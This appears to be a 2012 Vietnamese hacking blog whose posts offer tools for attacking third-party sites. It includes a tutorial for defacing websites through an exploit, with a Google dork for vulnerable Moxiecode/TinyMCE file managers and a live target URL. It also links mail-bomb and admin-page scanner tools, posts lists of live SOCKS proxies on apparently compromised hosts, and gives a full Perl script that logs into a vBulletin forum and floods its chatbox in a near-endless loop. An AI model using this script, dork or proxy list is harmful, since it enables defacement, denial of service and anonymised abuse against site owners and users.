Thứ Ba, 6 tháng 11, 2012

[Tut]Deface website trong vòng 2 phút sử dụng Exploit

Nhìn tựa đề anh em nghe khó tin nhỉ.
Nhưng sự thật là như vậy .
Tut chống chỉ định cho pro.
Linkdownload:


Code:
http://www.mediafire.com/?y6zxx5pmx6hzt2c
Google dork:


Code:
intitle:Moxiecode file browser filetype:php
Demo:
http://www.steulaliegites.com/tinymce/jscripts/tiny_mce/plugins/filemanager/frameset.php

Thứ Hai, 5 tháng 11, 2012

LIST SOCK(s) LIVE 20h55'

Live | 71.70.70.152:33449 | 0.999717 | Lexington | South Carolina | 29073 | United States 
Live | 174.99.32.158:38853 | 1.041372 | Raleigh | North Carolina | 27614 | United States 
Live | 88.156.51.41:39348 | 1.23374 | Olsztyn | Warminsko-Mazurskie | Unknown | Poland 
Live | 88.214.193.58:44163 | 0.907034 | Unknown | Unknown | Unknown | United Kingdom 
Live | 69.181.14.54:43741 | 0.535216 | San Jose | California | 95116 | United States 
Live | 66.25.91.195:44555 | 0.703928 | San Antonio | Texas | 78258 | United States 
Live | 88.214.193.58:44573 | 1.012886 | Unknown | Unknown | Unknown | United Kingdom 
Live | 66.25.91.195:50261 | 1.097036 | San Antonio | Texas | 78258 | United States 
Live | 109.0.246.122:34710 | 1.006229 | Unknown | Unknown | Unknown | France 
Live | 160.114.102.62:35693 | 1.239341 | Szeged | Szeged | Unknown | Hungary 
Live | 173.164.192.9:48326 | 1.046525 | Menlo Park | California | Unknown | United States 
Live | 88.214.193.58:37784 | 1.046616 | Unknown | Unknown | Unknown | United Kingdom 
Live | 88.162.55.242:42239 | 1.243592 | Conflans-sainte-honorine | Ile-de-France | Unknown | France 
Live | 178.159.230.95:48758 | 1.190587 | Teremki | Kyyivs'ka Oblast' | Unknown | Ukraine 
Live | 109.246.143.164:9217 | 0.988601 | Unknown | Unknown | Unknown | United Kingdom 
Live | 113.151.75.187:47823 | 0.059244 | Yokohama | Kanagawa | Unknown | Japan 
Live | 142.197.192.80:55853 | 1.235718 | Montreal | Quebec | h1n3s8 | Canada 
Live | 176.104.88.5:8600 | 1.236985 | Unknown | Unknown | Unknown | Korea Republic of 
Live | 199.127.51.96:59592 | 0.756703 | San Francisco | California | 94107 | United States 
Live | 209.169.180.117:7036 | 0.767891 | Quebec | Quebec | Unknown | Canada 
Live | 217.208.216.61:11992 | 1.134654 | Bollnäs | Gavleborgs Lan | Unknown | Sweden 
Live | 24.126.94.113:2821 | 0.764595 | Thurmont | Maryland | 21788 | United States 
Live | 24.247.77.226:3083 | 0.670186 | Traverse City | Michigan | Unknown | United States 
Live | 24.72.92.236:9553 | 0.761102 | Regina | Saskatchewan | Unknown | Canada 
Live | 31.11.70.158:13135 | 1.298121 | Columbus | Ohio | 43218 | United States 
Live | 37.57.197.250:8618 | 1.227212 | Unknown | Unknown | Unknown | Reserved 
Live | 5.43.157.237:8909 | 1.44408 | Unknown | Unknown | Unknown | Reserved 
Live | 66.131.89.130:12062 | 0.74591 | Saint-hubert | Quebec | Unknown | Canada 
Live | 66.165.177.136:4854 | 0.874708 | Miami | Florida | Unknown | United States 
Live | 66.25.91.195:44555 | 0.652494 | San Antonio | Texas | 78258 | United States 
Live | 67.160.173.66:52841 | 0.60203 | Portland | Oregon | 97236 | United States 
Live | 68.34.10.134:5450 | 0.758563 | Annapolis | Maryland | 21409 | United States 
Live | 68.41.219.182:10069 | 0.692887 | Roseville | Michigan | 48066 | United States 
Live | 68.8.8.165:10265 | 0.559769 | San Diego | California | 92107 | United States 
Live | 69.42.126.104:6065 | 0.979263 | Palo Alto | California | 94306 | United States 
Live | 69.42.126.99:5501 | 0.987276 | Palo Alto | California | 94306 | United States 
Live | 71.197.42.182:4595 | 0.769641 | Palatka | Florida | Unknown | United States 
Live | 71.23.213.99:6052 | 0.856337 | Philadelphia | Pennsylvania | Unknown | United States 
Live | 74.192.231.215:6117 | 1.668069 | Lufkin | Texas | 75904 | United States 
Live | 76.109.156.119:12777 | 0.832725 | Delray Beach | Florida | Unknown | United States 
Live | 76.109.156.119:7236 | 0.833066 | Delray Beach | Florida | Unknown | United States 
Live | 76.30.31.146:12168 | 0.669231 | Houston | Texas | Unknown | United States 
Live | 80.14.219.117:54228 | 1.192568 | Razès | Limousin | Unknown | France 
Live | 82.3.150.167:10239 | 1.188598 | Watford | Hertford | Unknown | United Kingdom 
Live | 84.120.174.114:13020 | 1.894427 | Alicante | Comunidad Valenciana | Unknown | Spain 
Live | 84.212.67.137:7308 | 1.196431 | Haugesund | Rogaland | Unknown | Norway 
Live | 84.72.116.49:7074 | 1.177872 | Siebnen | Schwyz | Unknown | Switzerland 
Live | 85.122.101.100:2187 | 1.224351 | Unknown | Unknown | Unknown | Romania 
Live | 88.135.203.231:2237 | 1.280473 | Unknown | Unknown | Unknown | Ukraine 
Live | 93.115.204.208:3098 | 1.166457 | Jilava | Giurgiu | Unknown | Romania 
Live | 93.123.127.129:5056 | 1.15224 | Unknown | Unknown | Unknown | Bulgaria 
Live | 93.126.98.131:5925 | 1.225596 | Unknown | Unknown | Unknown | Ukraine 
Live | 95.155.239.122:9966 | 1.223387 | SkellefteĂ¥ | Vasterbottens Lan | Unknown | Sweden 
Live | 97.81.181.78:62581 | 0.964629 | Cookeville | Tennessee | Unknown | United States 
Live | 98.193.4.47:54367 | 0.745196 | Indianapolis | Indiana | 46250 | United States 
Live | 98.242.95.177:5864 | 0.802117 | Kennesaw | Georgia | Unknown | United States 
Live | 98.242.95.177:7010 | 0.764973 | Kennesaw | Georgia | Unknown | United States 
Live | 99.199.225.198:47793 | 0.985782 | Sept-ĂŽles | Quebec | Unknown | Canada 
Live | 99.239.48.219:12319 | 0.783588 | Barrie | Ontario | Unknown | Canada 

Thứ Bảy, 3 tháng 11, 2012

MỘT SỐ TOOL BOMB MAIL

Code bomb mail dễ blacklist IP server, mèng leech 3 tool bomb cũng có chút hiệu quả về cho anh em xài



Method : SMTP
http://www.mediafire.com/?qytyeay2pe44gyw

Method : SMTP
http://www.mediafire.com/?91t4y1o81d8ddba

Method : SMTP
http://www.mediafire.com/?772kse78fs7xey6

SOCKSESCORT CÔNG CỤ HỮU ÍCH

Random screenshot



Tool window
http://seproxysoft.com/en
)
Sưu tầm !

TOOL SCAN LINK ADMIN MỚI CHO ANH EM!

Tool này mình thấy scan link admin tốt hơn mấy tool trước đây chúng ta xài. Đây là tool mới cho anh em dùng thử.
Đây là demo:
[Hình: 11.PNG]

[Hình: 22.PNG]
 
P/S: bạn hãy thử 1 site trước đây bạn chưa tìm ra link admin và thử với tool này xem Smile
Link download:
http://www.mediafire.com/?yr03lhy0150ty4a

FLOOD CHATBOX

_ He chào anh em lâu rồi ko có gì mới mẻ hum nay buồn lắm chuyện đâm ra rảnh nợ làm cái gọi là tut cho ae nghịch .....
Thấy đại ca chấm nét gì đó share code flood chatbox lên mình cũng thử flood lại ảnh xem

_ Trước tiên ae cài cái HTTP LIVE zô và get những thứ cần thiết sau


Config đúng với code mình share bên dưới nhé ;)
#!/usr/bin/env perl
# Edit By :TMT VNHgroup
# Author :TMT
# Perl flood chat box
# Site :http://tmt-today.com
# Version: 0000 co
use LWP;
use Digest::MD5 qw(md5_hex);
use HTTP::Response;
use HTTP::Cookies;
$url="http://daica.net/4z/"; // link victim mình muốn flood
$user="Oh!Shit"; // user ở diễn đàn
$pass="123456"; // pass
$browse = LWP::UserAgent->new();
$browse->agent('ozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20100101 Firefox/16.0'); //config cho đúng với ff bạn đang dùng

print "[+] TMT-VNHgroup Flood Chatbox...\n";
$browse->cookie_jar({});
$response = $browse->post(
$url . 'login.php', [
'do' => 'login',
'vb_login_username' => $user,
'vb_login_password' => '',
's' =>'',
'do' => 'login',
'vb_login_md5password'=> md5_hex($pass),
'vb_login_md5password_utf'=> md5_hex($pass)

]);
for ($i=0;$i<=1000000000000000000000000000000000000000000000000000000;$i++) { $response = $browse->post(
$url. 'misc.php', [
'do'=>'cb_postnew',
'vsacb_newmessage'=>'Test By NBVN.US',
'color'=>'grey',
'securitytoken'=>'1351080620-6931441f235974f6ed1a62fc8c4303e10589d0fe',
's'=>'',
]);
}
Save lại thành tmt.pl và Fuck thoai

Chú ý nếu nick bạn có dấu thì thêm phần này vào

Accept-Language: vi-vn,vi;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8 <-- không bị lỗi font chữ
Cho vào đâu thì tự nghĩ đi nhé ;) he he and tut

Socks 17h00'

Live | 74.65.35.100:21133 | 1.219784 | Akron | New York | 14001 | United States 
Live | 72.128.63.170:41150 | 0.819445 | Kansas City | Missouri | 64134 | United States 
Live | 207.255.34.72:50980 | 1.228318 | Altoona | Pennsylvania | Unknown | United States 
Live | 174.109.121.58:31231 | 1.599871 | Unknown | Unknown | Unknown | United States 
Live | 174.109.121.58:39637 | 1.005729 | Unknown | Unknown | Unknown | United States 
Live | 68.53.0.226:2270 | 1.041438 | Winchester | Tennessee | 37398 | United States 
Live | 98.209.217.96:3780 | 0.740789 | Flat Rock | Michigan | 48134 | United States 
Live | 71.50.2.89:29160 | 0.713944 | White Salmon | Washington | 98672 | United States 
Live | 71.74.69.145:18321 | 1.11999 | Reynoldsburg | Ohio | Unknown | United States 
Live | 173.175.216.66:21385 | 0.660473 | Unknown | Unknown | Unknown | United States 
Live | 68.199.36.108:27219 | 0.826762 | Hartsdale | New York | 10530 | United States 
Live | 66.165.177.136:4273 | 0.814293 | Miami | Florida | Unknown | United States 
Live | 146.115.67.158:11879 | 0.756392 | Lexington | Massachusetts | 02420 | United States 
Live | 24.19.93.64:5412 | 0.547723 | Tacoma | Washington | Unknown | United States
 
UG Newbie © 2011 Templates | uzanc